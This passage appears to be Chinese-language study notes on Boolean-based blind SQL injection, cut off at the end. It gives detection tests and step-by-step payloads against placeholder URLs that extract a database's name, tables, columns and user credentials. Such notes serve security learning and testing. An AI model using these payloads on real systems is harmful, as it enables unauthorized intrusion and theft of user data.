判断方式:
通过长度判断 length(): length(database())>=x
通过字符判断 substr():substr(database() ,1,1)= 's'
通过 ascII 码判断:ascii():ascii(substr(database(),1,1)) =x
注入漏洞判断:
1.id=1' 报错
2.id=1 and 1=1 结果和 id=1 一样
3.id=1 and 1=2 结果异常
攻击实战:
Boolean 注入是指构造 SQL 判断语句,通过查看页面的返回结果来推测哪些 SQL 判断条件是成立的,以此来获取数据库中的数据。
A:判断数据库名的长度 http://xxxxxx?id=1' and length(database())>=1--+ 从而判 断数据库名的长度为 4
B:判断数据库名 Substr() 数据库库名 a~z,0~9 ‘and substr(database(),1,1)--+
C:Burp 判断数据库名 http://xxxxxxxx?id=1' and substr(database(),1,1)='a'--+ 逐字判断数据库名为 test,test 数据库名
D:Burpsuite 爆破数据库的表名 http://xxxxxx?id=1' and substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1)='a'--+ person users xss //三个表
E:Burp 爆字段名 http://xxxxxxxx?id=1' and substr((select column_name from information_schema.columns where table_schema='test' and table_name='users' limit 0,1),1,1)='a'--+ id username password 等
F:获取数据 http://xxxxx?id=1' and substr((select username from test.users limit 0,1),1,1)='a'--+
布尔盲注,即在页面没有错误